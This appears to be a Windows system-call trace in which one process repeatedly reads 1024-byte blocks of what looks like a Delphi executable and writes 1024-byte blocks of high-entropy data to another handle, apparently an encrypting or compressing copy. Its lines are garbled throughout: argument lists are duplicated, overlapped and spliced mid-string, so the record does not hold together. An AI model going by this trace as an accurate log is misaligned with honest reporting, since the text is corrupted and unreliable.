\351\1@\241\354\256\1@\307\0\260\262\0@\241\\257\1@\307\0\34\267\0@\241\34\257\1@\213\25\340m\0@\211\20\241T\257\1@\307\0p\264\0@\241`\257\1@\307\0T\266\0@\270\274\263\0@\213\25\14\260\1@\211\2\270\330\263\0@\213\25\334\256\1@\211\2\303\213\300\203=\34\351\1@\0t\32\241\34\351\1@\306@\14\1\241\34\351\1@\213\20\377R\3703\300\243\34\351\1@\203= \351\1@\0t\32\241 \351\1@\306@\14\1\241 \351\1@\350\371\204\377\3773\300\243 \351", ) \215\4\305<\251\1@\213H\4\213\0\262\1\350\217\371\377\377\213\330\353;U\350\335\375\377\377Y\213\330\3530\213E\374\213\0\211E\364\306E\370\0\215E\364Pj\0\215U\360\241\340\256\1@\350!\254\377\377\213M\360\262\1\241\260o\0@\350\216\371\377\377\213\330\213\303\213\25Xo\0@\350\207\207\377\377\204\300t\6\213E\374\211C\143\300ZYYd\211\20h\24\267\0@\215E\360\350x\221\377\377\303\351\362\212\377\377\353\360\213\303[\213\345]\303\220\350G\370\377\377\270\1\0\0\0\350A\221\377\377\303\213\15,\257\1@\262\1\241\244n\0@\350\256\371\377\377\243\34\351\1@\213\15\374\257\1@\262\1\241,s\0@\350\227\371\377\377\243 \351\1@\241\354\256\1@\307\0\260\262\0@\241\\257\1@\307\0\34\267\0@\241\34\257\1@\213\25\340m\0@\211\20\241T\257\1@\307\0p\264\0@\241`\257\1@\307\0T\266\0@\270\274\263\0@\213\25\14\260\1@\211\2\270\330\263\0@\213\25\334\256\1@\211\2\303\213\300\203=\34\351\1@\0t\32\241\34\351\1@\306@\14\1\241\34\351\1@\213\20\377R\3703\300\243\34\351\1@\203= \351\1@\0t\32\241 \351\1@\306@\14\1\241 \351\1@\350\371\204\377\3773\300\243 \351", ) == 0x0
 00973  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "PR\215\335\22\336s\320&P\335\11"\35GT\374\254,}\214X1\6N\236A\315\234\332\21J\274\3\177\22`h]\336\261\217\10;c\375D\307}\25aw\0>,h`R\324\276k\341\226'\266\257\3161=\257\342\270\204\207_\300\342\215\23\202\23\207\200\237m|\375&\177]\217\305\1\36\251\24d\35\357KzX\255E\3\316\220*\221\367\3207\244\360\317no\4!4|\242'\270N\231r\357\330C\35=_\331|\266\324\260\314\251\25\213\253fEL`C\315T`\205\231\22\342\317\270A%}b\214D$\15\2718\363\363\205#\352a\225\345\212\277.\364\211m\261\251w\36\376\0ycC\345\374\305\316KF\36\30&\345\213\244\201#V\234\222)n\355\241\3603\356!\355\264wr\311\17\33\360r\22Q"\376\305X;\352\227\261\233\347\217\7\324!L\343\323\202F\364K|\240\304\254\267k\177+\5*\15V\254j\206v\243\360sw!+\30\30)B\16\267:g\20mb\262M\303\363U\2327-\377-5\226\2161\307\264\2434\274\201RDXp}\320\10\4\25\322g@'\322Iv^\337\267\15r\213L\237P\273\254\236x\33622{\7\212\345\256g\212\203\302\223+\7\333\254\11\25\15\262!\37\30x\31\3320_5l;\213#\10\13\373G\22gP\353\261\202\347o?mP\354l\235\2\246\22\304FZ\373l\263\341\2314\25!\235\265\303aFWs2\312\337bU\254\373\21FOml\211\366\245\207B&\15\202\261\341\203\363\247\357}\223m\321\223\264\330\352\1\205\256\323U\356\6\37\\14\273\322nB\30\337\200@\336V\35\273\343\312\372\215g\2754\264\4\34:N\213\242\235\314\33\260A\270j\16\23?\1*xl\373\311\36o\340\312x\337\323\326\377\206", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \35GT\374\254,}\214X1\6N\236A\315\234\332\21J\274\3\177\22`h]\336\261\217\10;c\375D\307}\25aw\0>,h`R\324\276k\341\226'\266\257\3161=\257\342\270\204\207_\300\342\215\23\202\23\207\200\237m|\375&\177]\217\305\1\36\251\24d\35\357KzX\255E\3\316\220*\221\367\3207\244\360\317no\4!4|\242'\270N\231r\357\330C\35=_\331|\266\324\260\314\251\25\213\253fEL`C\315T`\205\231\22\342\317\270A%}b\214D$\15\2718\363\363\205#\352a\225\345\212\277.\364\211m\261\251w\36\376\0ycC\345\374\305\316KF\36\30&\345\213\244\201#V\234\222)n\355\241\3603\356!\355\264wr\311\17\33\360r\22Q (92, 0, 0, 0, "PR\215\335\22\336s\320&P\335\11"\35GT\374\254,}\214X1\6N\236A\315\234\332\21J\274\3\177\22`h]\336\261\217\10;c\375D\307}\25aw\0>,h`R\324\276k\341\226'\266\257\3161=\257\342\270\204\207_\300\342\215\23\202\23\207\200\237m|\375&\177]\217\305\1\36\251\24d\35\357KzX\255E\3\316\220*\221\367\3207\244\360\317no\4!4|\242'\270N\231r\357\330C\35=_\331|\266\324\260\314\251\25\213\253fEL`C\315T`\205\231\22\342\317\270A%}b\214D$\15\2718\363\363\205#\352a\225\345\212\277.\364\211m\261\251w\36\376\0ycC\345\374\305\316KF\36\30&\345\213\244\201#V\234\222)n\355\241\3603\356!\355\264wr\311\17\33\360r\22Q"\376\305X;\352\227\261\233\347\217\7\324!L\343\323\202F\364K|\240\304\254\267k\177+\5*\15V\254j\206v\243\360sw!+\30\30)B\16\267:g\20mb\262M\303\363U\2327-\377-5\226\2161\307\264\2434\274\201RDXp}\320\10\4\25\322g@'\322Iv^\337\267\15r\213L\237P\273\254\236x\33622{\7\212\345\256g\212\203\302\223+\7\333\254\11\25\15\262!\37\30x\31\3320_5l;\213#\10\13\373G\22gP\353\261\202\347o?mP\354l\235\2\246\22\304FZ\373l\263\341\2314\25!\235\265\303aFWs2\312\337bU\254\373\21FOml\211\366\245\207B&\15\202\261\341\203\363\247\357}\223m\321\223\264\330\352\1\205\256\323U\356\6\37\\14\273\322nB\30\337\200@\336V\35\273\343\312\372\215g\2754\264\4\34:N\213\242\235\314\33\260A\270j\16\23?\1*xl\373\311\36o\340\312x\337\323\326\377\206", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00974  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\273\1\0\0\0\353 F\17\266D\37\377\17\266\300\17\243\5,\250\1@s\15\213\323\213\307\350\236\1\0\0\213\330\353\1C;]\364}\5;u\374|\326;u\374u";]\364}\35\17\266D\37\377\17\266\300\17\243\5,\250\1@s\14\213\323\213\307\350k\1\0\0H\213\330\213E\370\2110\213E\10\211\30_^[\213\345]\302\4\0\220SVW\203\304\370\213\332\213\3603\300\211\4$\205\333\177\4\260\1\353\20\213\306\205\300t\5\203\350\4\213\0;\303\17\234\300\204\300uM\203\373\1~E\200=\324\350\1@\0t"\17\266T\36\377\17\266\322\17\243\25,\250\1@s\21\213\306\350^\221\377\377\3\303H\350n\377\377\377\3\303", ) ;]\364}\35\17\266D\37\377\17\266\300\17\243\5,\250\1@s\14\213\323\213\307\350k\1\0\0H\213\330\213E\370\2110\213E\10\211\30_^[\213\345]\302\4\0\220SVW\203\304\370\213\332\213\3603\300\211\4$\205\333\177\4\260\1\353\20\213\306\205\300t\5\203\350\4\213\0;\303\17\234\300\204\300uM\203\373\1~E\200=\324\350\1@\0t10\213\373O\213\327\213\306\350&\377\377\377;|$\4~\4\260\1\353\21\213\306\205\300t\5\203\350\4\213\0;\4$\17\236\300\204\300t\73\300\211\4$\353\10\377\4$\353\3\211\34$\213\4$YZ_^[\303\215@\0SV\203\304\370\213\3303\300\211\4$\205\322~V\213\363\213\306\205\300t\5\203\350\4\213\0;\302}\15\213\306\205\300t\5\203\350\4\213\0\213\320\200=\324\350\1@\0t,T\215L$\10\213\303\350\251\376\377\377\213\306\205\300t\5\203\350\4\213\0;\4$}\23\213\306\205\300t\5\203\350\4\213\0\211\4$\353\3\211\24$\213\4$YZ^[\303\213\300S\213\330\200=\324\350\1@\0t\12S\350\226\253\377\377+\303[\303\270\1\0\0\0[\303\215@\0P\350\202\253\377\377\303\220SV\213\362\213\330\270\1\0\0\0\200=\324\350\1@\0t \17\266T3\377\17\266\322\17\243\25,\250\1@s\17\213\303\350\224\221\377\377\3\306H\350\244\377\377\377^[\303\220SV\213\332\213\360\215C\1\200=\324\350\1@\0t (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\273\1\0\0\0\353 F\17\266D\37\377\17\266\300\17\243\5,\250\1@s\15\213\323\213\307\350\236\1\0\0\213\330\353\1C;]\364}\5;u\374|\326;u\374u";]\364}\35\17\266D\37\377\17\266\300\17\243\5,\250\1@s\14\213\323\213\307\350k\1\0\0H\213\330\213E\370\2110\213E\10\211\30_^[\213\345]\302\4\0\220SVW\203\304\370\213\332\213\3603\300\211\4$\205\333\177\4\260\1\353\20\213\306\205\300t\5\203\350\4\213\0;\303\17\234\300\204\300uM\203\373\1~E\200=\324\350\1@\0t"\17\266T\36\377\17\266\322\17\243\25,\250\1@s\21\213\306\350^\221\377\377\3\303H\350n\377\377\377\3\303", ) , ) == 0x0
 00975  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\271'+\260\237|\224c\244r\257\241\305\343qo2\7\214\235\302w\222l\335Q\344\274C\337X#\270\350\4\222\266X\224\251\203Q\325\10t\256\31\220\30\1W<\4R\234/\213\243\352\336zS>\353\352\302[a\373\320\322\22\25\327z\367\253\354_Jyh|\223\243\267\366?\324\222LS\327>L[\344\315\205\347\256q\235\25\313\202P+\354\263\177?\340\25\316C~\0I\351\377c\245j\347\322\201\300\214\322b\314\276\211\355gaM\373\231\373\207\30\327\306m\366\227\275\2007e>j\207\360QD\212\235m\302\264T\357\254d \263\6\244\272\214%\243\24\264\277f\331\267#\1\225t\20\371{&\272;|\366;P\3455\373\332\364W\262\5\254\26\227\214^\305\203q\360\330A\372:\257/\255\254\17y\332\266'h\327h\31\250e\222\376\206\34\334\374^\302\376\372\343[#\352s\242\240\255}dW\3728}\263\205\367$\224\37\37\31)\252\37\207\250\30\277\251\241\206@\301\266\324h4\250\337\305\346\303 \213\363\33~F\231\1w\337\240\303!\337t\336u\10J*\262\231\275\360\216/>\261\323\317\250\37+\320x\263\220+\351\235\17\6X\337~\266\244o\204IH!\213\215\213<\334\230\360\235?v\14\264a\223K\276rT\211\224n\274\354\203\3552i\14`\243/\370Z\265\320\260\325\246W\233w\347\366\203\311\324\342\212\215\331U\331\16\264\246\304\265\227\246\25cwoc\206\03\370\107\212\370\231g\32\0S\341M\246\366\3420\205ww19-\240\353\303"7'\373\215Ax\1\36\226\241\356\323Y~\260\214\347O\345\341\260m\326\212\353\260\131\366nx\306s\20\37D\6>\14>\200\245\256\333\372<\335a\300e\223p\355\235\211\347ix\266\224g\27\13H\14\223\301eS \343", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 7'\373\215Ax\1\36\226\241\356\323Y~\260\214\347O\345\341\260m\326\212\353\260\131\366nx\306s\20\37D\6>\14>\200\245\256\333\372<\335a\300e\223p\355\235\211\347ix\266\224g\27\13H\14\223\301eS \343", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00976  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "@\4~\17\203=\344\247\1@\2u\6\306F\15\1\353\17jJ\350\16\251\377\377\205\300\17\225\300\210F\15j*\350\377\250\377\377\205\300\17\225\303\210^\14\204\333t\7U\350\11\377\377\377Y_^[\213\345]\303\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0U\213\354\271\10\0\0\0j\0j\0Iu\371S3\300Uh/\301\0@d\3770d\211 \350\31\377\377\377\350\220\352\377\377\200=\324\350\1@\0t\5\350Z\354\377\377\350)\247\377\377\213\330\215E\360P3\311\272\24\0\0\0\213\303\350\265\351\377\377\213U\360\270\10\350\1@\350\30\212\377\377\215E\354P\271D\301\0@\272\33\0\0\0\213\303\350\223\351\377\377\213E\3543\322\350\365\276\377\377\242\14\350\1@\215E\350P\271D\301\0@\272\34\0\0\0\213\303\350o\351\377\377\213E\3503\322\350\321\276\377\377\242\15\350\1@\261,\272\17\0\0\0\213\303\350\236\351\377\377\242\16\350\1@\261.\272\16\0\0\0\213\303\350\213\351\377\377\242\17\350\1@\215E\344P\271D\301\0@\272\31\0\0\0\213\303\350%\351\377\377\213E\3443\322\350\207\276\377\377\242\20\350\1@\261/\272\35\0\0\0\213\303\350T\351\377\377\242\21\350\1@\215E\334P\271P\301\0@\272\37\0\0\0\213\303\350\356\350\377\377\213E\334\215U\340\350\37\354\377\377\213U\340\270\24\350\1@\350F\211\377\377\215E\324P\271`\301\0@\272 \0\0\0\213\303\350\301\350\377\377\213E\324\215U\330\350\362\353\377\377\213U\330\270\30\350\1@\350\31\211\377\377\261:\272\36\0\0\0\213\303\350\347\350\377\377\242\34\350\1@\215E\320P\271x\301\0@\272(\0\0\0\213\303\350\201\350\377\377\213U\320\270 \350\1@\350\344\210\377\377", ) , ) == 0x0
 00977  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "1\14\275\16\274{<4-\250\236\302'\235\307q\13\317k\220\242\230OCt,\34\2459B\372w\261\25\374\311\353\31>=^"\240\330O\266\26\376Q\201$\320s\300\302\245m\245\22\177\341 \313\256\324\253\273\26\366\333\374`#\305/x\210\255\254\12f\36\276\271\223\226R_\246\20$Go\350<\247q\234\317\177;3?\2\361\3\2\3427\316\2654\14\375\262\301*\317\362\25\220h@\360\355\235\375\257fa^\243\27\17\337)\235\221\226\340\315\0\245\212P&_r\225\206\375\24\250\17m\362}`\207\24~KQ!\344h\203\0\351\215\245\26\301\226 p\367\332\2705\242(\33[Z\376\350\233\275\1\7\37X\357g\332L\3239o\353P\36\350\21\227\246\24\337"\220y\370\26\37X\330\263\3\250\335\33i.\32\31\3438\12\204\234\356a\323\24N\346\272\231\13\342:oX\252!\331\25\370\0~\356\240\373\302_) \200\361\22J-\223\346=0]\330IjS\230\343Z\370\10\15m\34\260\375\30\241\233F\352tG\5\313\347`u\324\7$L9\226\376"\322 \333r\334\362^\357P\334\300\27\224v`\262\217\11\340\235\5[f\2507{/2\255\270B\5b\242\360]\314\313+\353R\0\251\346\306\337\250\377\5~\333~!\232>\236\216\37G;M\31\324{\36\25\25t\340\356\360\15\325^\211\301u\212\376\343\210\274W\\210K>\351k;\177\34<\17\235\206\205\314\353F`\344$&\31\230E\21\13\\346\332\214w>\254%4I\257DM#\244\312\27[\344#\330\314]\364\\344P\213o\214*TH\211^Ihw\376w\344\200\346\200p\372%M=m\266,,B\216\343\2251+\12CMq\272\253\355P\335\17\342\261\370\23>\326\32\354\257\304Ey\256VvV\342\340\276", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \240\330O\266\26\376Q\201$\320s\300\302\245m\245\22\177\341 \313\256\324\253\273\26\366\333\374`#\305/x\210\255\254\12f\36\276\271\223\226R_\246\20$Go\350<\247q\234\317\177;3?\2\361\3\2\3427\316\2654\14\375\262\301*\317\362\25\220h@\360\355\235\375\257fa^\243\27\17\337)\235\221\226\340\315\0\245\212P&_r\225\206\375\24\250\17m\362}`\207\24~KQ!\344h\203\0\351\215\245\26\301\226 p\367\332\2705\242(\33[Z\376\350\233\275\1\7\37X\357g\332L\3239o\353P\36\350\21\227\246\24\337 (92, 0, 0, 0, "1\14\275\16\274{<4-\250\236\302'\235\307q\13\317k\220\242\230OCt,\34\2459B\372w\261\25\374\311\353\31>=^"\240\330O\266\26\376Q\201$\320s\300\302\245m\245\22\177\341 \313\256\324\253\273\26\366\333\374`#\305/x\210\255\254\12f\36\276\271\223\226R_\246\20$Go\350<\247q\234\317\177;3?\2\361\3\2\3427\316\2654\14\375\262\301*\317\362\25\220h@\360\355\235\375\257fa^\243\27\17\337)\235\221\226\340\315\0\245\212P&_r\225\206\375\24\250\17m\362}`\207\24~KQ!\344h\203\0\351\215\245\26\301\226 p\367\332\2705\242(\33[Z\376\350\233\275\1\7\37X\357g\332L\3239o\353P\36\350\21\227\246\24\337"\220y\370\26\37X\330\263\3\250\335\33i.\32\31\3438\12\204\234\356a\323\24N\346\272\231\13\342:oX\252!\331\25\370\0~\356\240\373\302_) \200\361\22J-\223\346=0]\330IjS\230\343Z\370\10\15m\34\260\375\30\241\233F\352tG\5\313\347`u\324\7$L9\226\376"\322 \333r\334\362^\357P\334\300\27\224v`\262\217\11\340\235\5[f\2507{/2\255\270B\5b\242\360]\314\313+\353R\0\251\346\306\337\250\377\5~\333~!\232>\236\216\37G;M\31\324{\36\25\25t\340\356\360\15\325^\211\301u\212\376\343\210\274W\\210K>\351k;\177\34<\17\235\206\205\314\353F`\344$&\31\230E\21\13\\346\332\214w>\254%4I\257DM#\244\312\27[\344#\330\314]\364\\344P\213o\214*TH\211^Ihw\376w\344\200\346\200p\372%M=m\266,,B\216\343\2251+\12CMq\272\253\355P\335\17\342\261\370\23>\326\32\354\257\304Ey\256VvV\342\340\276", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \322 \333r\334\362^\357P\334\300\27\224v`\262\217\11\340\235\5[f\2507{/2\255\270B\5b\242\360]\314\313+\353R\0\251\346\306\337\250\377\5~\333~!\232>\236\216\37G;M\31\324{\36\25\25t\340\356\360\15\325^\211\301u\212\376\343\210\274W\\210K>\351k;\177\34<\17\235\206\205\314\353F`\344$&\31\230E\21\13\\346\332\214w>\254%4I\257DM#\244\312\27[\344#\330\314]\364\\344P\213o\214*TH\211^Ihw\376w\344\200\346\200p\372%M=m\266,,B\216\343\2251+\12CMq\272\253\355P\335\17\342\261\370\23>\326\32\354\257\304Ey\256VvV\342\340\276", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00978  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\10SysUtils\215@\0\20\302\0@\16\13TModuleInfo\10\0\0\0\1\0\0\0\334\301\0@\4\0\0\0\215@\0SVWU\203\304\364\213\25t\260\1@\213\22\205\322t\13;B\4t\6\213\22\205\322u\365\211\24$\203<$\0\17\204\245\1\0\0\213\4$\203x\24\0\17\204\230\1\0\0\213\4$\213X\24\200;\0t\12\307D$\4$\352\1@\353\10\307D$\4$\356\1@\213C\4\350\347\226\377\377\213\370\205\377\17\214T\1\0\0G3\366\215\4\266\213S\4\203|\202\4\0t\27\213S\4\213\4\202\215\24\266\213K\4\213T\221\4\211\2\351\6\1\0\0\213S\4\203|\202\14\0\17\204\370\0\0\0\215\4\266\213S\4\213D\202\143\322\211T$\10\17\266\20\204\322\17\204\241\0\0\0\213L$\10\3\311\3\311\213l$\10\301\355\36\13\315\17\266\322\17\266\222$\351\1@3\312\211L$\10\200x\1\0tz\213T$\10\3\322\3\322\213L$\10\301\351\36\13\321\17\266H\1\17\266\211$\351\1@3\321\211T$\10\200x\2\0tR\213T$\10\3\322\3\322\213L$\10\301\351\36\13\321\17\266H\2\17\266\211$\351\1@3\321\211T$\10\200x\3\0t*\213T$\10\3\322\3\322\213L$\10\301\351\36\13\321\17\266H\3\17\266\211$\351\1@3\321\211T$\10\203\300\4\351T\377\377\377\17\266D$\102D$\112D$\122D$\13\17\266\320\213L$\4\213\24\221\215\14\266\213k\4\215L\215\0;\321u\23\215\24\266\213K\4\213\24\221\17\266\300\213L$\4\211\24\201\215\4\266\213S\4\203<\202\0t\23\213S\4\213D\202\4\215\24\266\213K\4\213\24\221\211B\4FO\17\205\257\376\377\377\213\25\14\302\0@\213\303\350", ) , ) == 0x0
 00979  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "j\372\7\313O&\215\234\351\244\313\177\204\321W\237|\302\347\177\27\17N\13=\374]\234g\262\264\220\216\2050\2361\301\3\234\\33\76}i\30\306o\4\361v\263\373i\271t\31\267b\371M\324\37\363p4\213\214\232q\200\3175,\377\364(\205\232>s\313\236\223Ge\2333\322e\342\325\234\25\371\334O\15>\306\242\26\301\336\307\337\332\7\342\267\303$\271xSOz\357\306\204'\364\356\15\273'+>\257\215\21l\320\21\325\363!D\25\231\274\333&\6\343L\15\2045\333\14\352\4\344\3158\225\221\2515\36.\372|\337\205\265\203\256\337\222\343\201\311\224\246\14\240\302\27\215\314\305U8L\346\262\224\275\271\242\346\372\201GVr]\1\222\225\337p\371\313\257\330\13\300|<\343\325\2339\311Z\202\331\305\16l\252\231\331\251\27\210\14P\316O\\2317G\230w\324\177\265\334\243\365p\246\272\271xu\323\352\360\356\356e\320\203\231\304\37\344\227\357Y&J\353\251z\247i\351\266\321\3502,z\247\362\203\341\373\242\353\316[\334\23\344\300@\226\16\374\225t\350b{\375\257m\352\275\265k@\246 \306\362\366\202Kjh6O1\252\327\330\4C\362\251\23\332\210|\262cK\22P5\300\376B\252\224\36ug\246\33\247\205\2727\14\205\300\351\10\231\342N'^\333|\325\5#\300$\220P\336\303\13)\0y\376J.@\270\347\216>R\23\222A}\211\210\5\335I\313P\261\6\316\375b\14\250\224\357gc()\246H,\33pE\37z\212?\232=\226\240\201\261\326O\353M\367\227g\2024\373\350\333\353XdW\235\312\206\374J\251\366\270\373\370G\4tGYm\330\356:\34\260\23qH\247\27\227&a\1\377L\327\0\224Y\362\35\236\3059\320\26s\352\262eB]\217\207}\207\316", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00980  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\355u7\213\307\350N\0\0\0\213\350\205\355u*\270\20\0\0\0\350\356e\377\377\213\350\211u\4\307E\10\377\377\377\177\211m\0\17\266\303\215D\207\4\213\325\350\25\377\377\377\211E\0\213\4$\211(Z]_^[\303\215@\0\213\23\311\211H\4\213\23\322\211P\10\303\220SV\213\330\213\303\350Q\377\377\377\17\266\300\213\\203\4\205\333t'\215C\10\272\377\377\377\177\350\321\376\377\377\213\360\201\376\377\377\377\177t\12\350\326\236\377\377\211C\4\353\6\213\33\205\333u\331\213\303^[\303\213\300SV\204\322t\10\203\304\360\350\206x\377\377\213\332\213\3603\322\213\306\350\1v\377\377\307F\14\377\377\0\0j\0j\377j\377j\0\350=\236\377\377\211F\20j\0j\0j\0j\0\350-\236\377\377\211F\24\307F\30\377\377\377\377\262\1\241,x\0@\350\307u\377\377\211F \213\306\204\333t\17\350\211x\377\377d\217\5\0\0\0\0\203\304\14\213\306^[\303\213\300SV\350\301x\377\377\213\332\213\360\213\306\350z\0\0\0\213\323\200\342\374\213\306\350\252u\377\377\213F\20P\350\271\235\377\377\213F\24P\350\260\235\377\377\213F \350\240u\377\377\204\333~\7\213\306\350-x\377\377^[\303\213\300\213@\20P\350\277\236\377\377\303\213\300\213@\20P\350\273\236\377\377\303\213\300\213@\24P\350\257\236\377\377\303\213\300\213P\30R\213@\20P\350\307\236\377\377\303\213\300\213P\30R\213@\24P\350\267\236\377\377\303\213\300SVWU\203\304\370\213\350\263\1\350\264\235\377\377\213\370;}$\17\204\204\0\0\0\213\305\350\232\377\377\377\213E(\211D$\4\213\324\213E \350\1\376\377\377\213\4$\203x\14\0\17\227\303\204\333t$\215E\14\350O\375\377\377\353\32\215E\14\272\377\377\0\0\350`\375\377\377", ) , ) == 0x0
 00981  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "[\35\210\333\365x\201\374,'\376-\13\316\32\242Y\33\374\250\25P\314xt\345\24\250\22\376\254\322\4\307\32\177-\203\300/\234\266\220\271\331\247l\34\210\366\261>\214IdG\0;\375F\321b\36\3r\205\367$!XA7\261[\2457\200\1bI\26\20|\301\214S\30&\231\371\6'\335\41\33\252*\345hk\203l\321\346\177\274\22\334\331.\220\177-\344\232\276\7e<;\331\3276\37\24;\213\210\25\225\300Wq\2516%\235\352r\17g\316\217\252\377\252\215t\16*\211M+\22\304\36>\201`\27\364O\266g\\24?sP2\20\7\257&\334\364i\36\253\340\317\205U|1\271a\200\236\1\213My\265\206n\350\316u\177\252w\316R\247W\36\377|\226\15\267\27\277O%gy\230\306\257\333\351@\202\351\34\20\276\204\3\276\325S\235n\270H\374n~\265\362\251\11T\36[0\363\206\232\274\312xW\375+[\2\230\233\220\325\215\14\200\21=\312\361\30\205\214\16X\306Q\363\376\305)5\235\200\267\4aR1\352\260W#\234\2048\360\223\11\324dt\256\375\242_\10\360\305E\363\361\236\242\332N\320@\6S\216G4\30\351\17\304\204y\223\350Pq\366\11\315\177\314B]\244\203$2\267\34\301\217'!X\252Z\317\36W\232UT\17\326\4\350\364g\365\26\371%\16\303al\242\7\226\36U\243\214So\13\370\352\273`g\363\378$\20\375\326\231k'DYZP\317@6\12)\301\327\233e\211\220\23\245\303\250\355?LzO\275\346\211\3I.\202\227y\234(\22\346\371\\210tP\256\35\241\25\365t\201", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \346\371\\210tP\256\35\241\25\365t\201", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00982  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\4\260\1@\200\251\1@\354\257\1@x\251\1@\304\260\1@p\251\1@\250\260\1@h\251\1@\210\257\1@`\251\1@\214\260\1@X\251\1@\224\260\1@P\251\1@4\257\1@H\251\1@\14\257\1@@\251\1@\350\257\1@8\251\1@4\260\1@0\251\1@\304\256\1@(\251\1@\204\260\1@ \251\1@\204\257\1@(\0\0\0\30\251\1@x\260\1@\0\0\0\0\24\251\1@\350\256\1@\0\0\0\0\20\251\1@(\260\1@\0\0\0\0\14\251\1@\320\256\1@\0\0\0\0\10\251\1@\30\257\1@\0\0\0\0\4\251\1@\20\257\1@\0\0\0\0\0\251\1@\360\256\1@\0\0\0\0\374\250\1@\200\257\1@\0\0\0\0\370\250\1@\0\260\1@\0\0\0\0\364\250\1@\24\257\1@\0\0\0\0\360\250\1@\340\257\1@\0\0\0\0\354\250\1@L\260\1@\0\0\0\0\350\250\1@@\260\1@\0\0\0\0\344\250\1@\10\260\1@\0\0\0\0\340\250\1@l\257\1@\0\0\0\0\334\250\1@P\257\1@\0\0\0\0\330\250\1@\314\256\1@\0\0\0\0\324\250\1@<\260\1@\0\0\0\0\320\250\1@\304\257\1@\0\0\0\0\314\250\1@H\257\1@\0\0\0\0\310\250\1@\260\257\1@\0\0\0\0\304\250\1@\370\257\1@\0\0\0\0\300\250\1@\274\257\1@\0\0\0\0\274\250\1@X\257\1@\0\0\0\0\270\250\1@\310\256\1@\0\0\0\0\264\250\1@\234\257\1@\0\0\0\0\260\250\1@\230\260\1@\0\0\0\0\254\250\1@p\260\1@\0\0\0\0\250\250\1@\334\257\1@\0\0\0\0\244\250\1@0\257\1@\0\0\0\0\240\250\1@\330\256\1@\0\0\0\0\234\250\1@h\260\1@\0\0\0\0\230\250\1@", ) , ) == 0x0
 00983  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\24\35\37\310\201\367\230u\303&\250G\312\255\3260\233\203\20\364\362!;\200\4Qvx\206\235d\23B\32]\310\357\220c\363)\227\375z\341,1(E\3\346Ct\5\267\372\330\322\311\204d\355\3060|\242\2\247\220\344\301\317\301\7\7UT\14;\3155$\217g\337\351\254\241\2+\263\253\276J\272\303\245\311\321\21\343p6{\374\\343\11\214F\362\254\3729~\351\336I\343\30\254\207q\322\213\31\356\246\243Z\227\177\177\317\242I\320@6=\177'\217a\6\225\354\3002\340\374\211\23M\344\251* ~`\370\276Q\314O\341O+\35\323\370_\363`\25\0\30'c?LY4\21F\32\322\254zokoB\276:\4s\335_\317\201;\3559\355\267\34\216\322\\243\256\37\254\325&<\252\235\36\275\370{\347\320\352\355\215\22\211/UD\345\231vQ=\213#g\23e\355\320\13+]C3<\347\210\340\207`sv\3709\272^w\322\20\363\350\366\247\243\324"\377\6\311\264\312\263+\200N\257\257\304v\211\5\366\247\375\223\301.\222\230a\377*B\204W>$D\357\233\336\241g{6\227:lX\311v\177\365B\342\242\331$\317D\201-5Y\323\314O\226\314\12\256:\277XAXu\14\206\3434x)\372\276\2623\15\221\216M3v\261\227z\336\274\334\352k"A\375\22\317\216\257jMwf\2576%W_.\335\25bM59RB\323\365\26\243\202j"\261\240"T\324\247\207u\232s\273\247{\361t\16\273=*[T"tZ\221\217C\261_9\341@\365\261@\3067\366h\13~\270!,\226db\270,\210\274\326\364C\341\210\24[\301/\3\314\265\22hZ\211\230\310\24\347\377h\215S\230R\365\242\346B`.\262\344\345\312n\276", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \377\6\311\264\312\263+\200N\257\257\304v\211\5\366\247\375\223\301.\222\230a\377*B\204W>$D\357\233\336\241g{6\227:lX\311v\177\365B\342\242\331$\317D\201-5Y\323\314O\226\314\12\256:\277XAXu\14\206\3434x)\372\276\2623\15\221\216M3v\261\227z\336\274\334\352k (92, 0, 0, 0, "\24\35\37\310\201\367\230u\303&\250G\312\255\3260\233\203\20\364\362!;\200\4Qvx\206\235d\23B\32]\310\357\220c\363)\227\375z\341,1(E\3\346Ct\5\267\372\330\322\311\204d\355\3060|\242\2\247\220\344\301\317\301\7\7UT\14;\3155$\217g\337\351\254\241\2+\263\253\276J\272\303\245\311\321\21\343p6{\374\\343\11\214F\362\254\3729~\351\336I\343\30\254\207q\322\213\31\356\246\243Z\227\177\177\317\242I\320@6=\177'\217a\6\225\354\3002\340\374\211\23M\344\251* 